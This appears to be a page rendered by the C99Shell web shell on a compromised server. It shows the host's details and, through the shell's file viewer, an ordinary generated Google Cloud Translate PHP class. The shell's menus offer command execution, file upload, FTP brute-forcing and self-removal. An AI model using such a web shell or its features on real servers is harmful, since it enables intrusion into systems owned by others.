!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/vendor/google/cloud-translate/src/V3/   drwxr-xr-x
Free 29.23 GB of 117.98 GB (24.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AdaptiveMtTranslateRequest.php (9.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/cloud/translate/v3/adaptive_mt.proto

namespace Google\Cloud\Translate\V3;

use 
Google\Protobuf\Internal\GPBType;
use 
Google\Protobuf\Internal\RepeatedField;
use 
Google\Protobuf\Internal\GPBUtil;

/**
 * The request for sending an AdaptiveMt translation query.
 *
 * Generated from protobuf message <code>google.cloud.translation.v3.AdaptiveMtTranslateRequest</code>
 */
class AdaptiveMtTranslateRequest extends \Google\Protobuf\Internal\Message
{
    
/**
     * Required. Location to make a regional call.
     * Format: `projects/{project-number-or-id}/locations/{location-id}`.
     *
     * Generated from protobuf field <code>string parent = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     */
    
private $parent '';
    
/**
     * Required. The resource name for the dataset to use for adaptive MT.
     * `projects/{project}/locations/{location-id}/adaptiveMtDatasets/{dataset}`
     *
     * Generated from protobuf field <code>string dataset = 2 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     */
    
private $dataset '';
    
/**
     * Required. The content of the input in string format.
     *
     * Generated from protobuf field <code>repeated string content = 3 [(.google.api.field_behavior) = REQUIRED];</code>
     */
    
private $content;
    
/**
     * Configuration for caller provided reference sentences.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.ReferenceSentenceConfig reference_sentence_config = 6;</code>
     */
    
private $reference_sentence_config null;
    
/**
     * Optional. Glossary to be applied. The glossary must be
     * within the same region (have the same location-id) as the model, otherwise
     * an INVALID_ARGUMENT (400) error is returned.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.GlossaryConfig glossary_config = 7 [(.google.api.field_behavior) = OPTIONAL];</code>
     */
    
private $glossary_config null;

    
/**
     * @param string   $parent  Required. Location to make a regional call.
     *
     *                          Format: `projects/{project-number-or-id}/locations/{location-id}`. Please see
     *                          {@see TranslationServiceClient::locationName()} for help formatting this field.
     * @param string[] $content Required. The content of the input in string format.
     *
     * @return \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest
     *
     * @experimental
     */
    
public static function build(string $parent, array $content): self
    
{
        return (new 
self())
            ->
setParent($parent)
            ->
setContent($content);
    }

    
/**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type string $parent
     *           Required. Location to make a regional call.
     *           Format: `projects/{project-number-or-id}/locations/{location-id}`.
     *     @type string $dataset
     *           Required. The resource name for the dataset to use for adaptive MT.
     *           `projects/{project}/locations/{location-id}/adaptiveMtDatasets/{dataset}`
     *     @type array<string>|\Google\Protobuf\Internal\RepeatedField $content
     *           Required. The content of the input in string format.
     *     @type \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\ReferenceSentenceConfig $reference_sentence_config
     *           Configuration for caller provided reference sentences.
     *     @type \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\GlossaryConfig $glossary_config
     *           Optional. Glossary to be applied. The glossary must be
     *           within the same region (have the same location-id) as the model, otherwise
     *           an INVALID_ARGUMENT (400) error is returned.
     * }
     */
    
public function __construct($data NULL) {
        
\GPBMetadata\Google\Cloud\Translate\V3\AdaptiveMt::initOnce();
        
parent::__construct($data);
    }

    
/**
     * Required. Location to make a regional call.
     * Format: `projects/{project-number-or-id}/locations/{location-id}`.
     *
     * Generated from protobuf field <code>string parent = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     * @return string
     */
    
public function getParent()
    {
        return 
$this->parent;
    }

    
/**
     * Required. Location to make a regional call.
     * Format: `projects/{project-number-or-id}/locations/{location-id}`.
     *
     * Generated from protobuf field <code>string parent = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     * @param string $var
     * @return $this
     */
    
public function setParent($var)
    {
        
GPBUtil::checkString($varTrue);
        
$this->parent $var;

        return 
$this;
    }

    
/**
     * Required. The resource name for the dataset to use for adaptive MT.
     * `projects/{project}/locations/{location-id}/adaptiveMtDatasets/{dataset}`
     *
     * Generated from protobuf field <code>string dataset = 2 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     * @return string
     */
    
public function getDataset()
    {
        return 
$this->dataset;
    }

    
/**
     * Required. The resource name for the dataset to use for adaptive MT.
     * `projects/{project}/locations/{location-id}/adaptiveMtDatasets/{dataset}`
     *
     * Generated from protobuf field <code>string dataset = 2 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {</code>
     * @param string $var
     * @return $this
     */
    
public function setDataset($var)
    {
        
GPBUtil::checkString($varTrue);
        
$this->dataset $var;

        return 
$this;
    }

    
/**
     * Required. The content of the input in string format.
     *
     * Generated from protobuf field <code>repeated string content = 3 [(.google.api.field_behavior) = REQUIRED];</code>
     * @return \Google\Protobuf\Internal\RepeatedField
     */
    
public function getContent()
    {
        return 
$this->content;
    }

    
/**
     * Required. The content of the input in string format.
     *
     * Generated from protobuf field <code>repeated string content = 3 [(.google.api.field_behavior) = REQUIRED];</code>
     * @param array<string>|\Google\Protobuf\Internal\RepeatedField $var
     * @return $this
     */
    
public function setContent($var)
    {
        
$arr GPBUtil::checkRepeatedField($var\Google\Protobuf\Internal\GPBType::STRING);
        
$this->content $arr;

        return 
$this;
    }

    
/**
     * Configuration for caller provided reference sentences.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.ReferenceSentenceConfig reference_sentence_config = 6;</code>
     * @return \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\ReferenceSentenceConfig|null
     */
    
public function getReferenceSentenceConfig()
    {
        return 
$this->reference_sentence_config;
    }

    public function 
hasReferenceSentenceConfig()
    {
        return isset(
$this->reference_sentence_config);
    }

    public function 
clearReferenceSentenceConfig()
    {
        unset(
$this->reference_sentence_config);
    }

    
/**
     * Configuration for caller provided reference sentences.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.ReferenceSentenceConfig reference_sentence_config = 6;</code>
     * @param \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\ReferenceSentenceConfig $var
     * @return $this
     */
    
public function setReferenceSentenceConfig($var)
    {
        
GPBUtil::checkMessage($var\Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\ReferenceSentenceConfig::class);
        
$this->reference_sentence_config $var;

        return 
$this;
    }

    
/**
     * Optional. Glossary to be applied. The glossary must be
     * within the same region (have the same location-id) as the model, otherwise
     * an INVALID_ARGUMENT (400) error is returned.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.GlossaryConfig glossary_config = 7 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @return \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\GlossaryConfig|null
     */
    
public function getGlossaryConfig()
    {
        return 
$this->glossary_config;
    }

    public function 
hasGlossaryConfig()
    {
        return isset(
$this->glossary_config);
    }

    public function 
clearGlossaryConfig()
    {
        unset(
$this->glossary_config);
    }

    
/**
     * Optional. Glossary to be applied. The glossary must be
     * within the same region (have the same location-id) as the model, otherwise
     * an INVALID_ARGUMENT (400) error is returned.
     *
     * Generated from protobuf field <code>optional .google.cloud.translation.v3.AdaptiveMtTranslateRequest.GlossaryConfig glossary_config = 7 [(.google.api.field_behavior) = OPTIONAL];</code>
     * @param \Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\GlossaryConfig $var
     * @return $this
     */
    
public function setGlossaryConfig($var)
    {
        
GPBUtil::checkMessage($var\Google\Cloud\Translate\V3\AdaptiveMtTranslateRequest\GlossaryConfig::class);
        
$this->glossary_config $var;

        return 
$this;
    }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--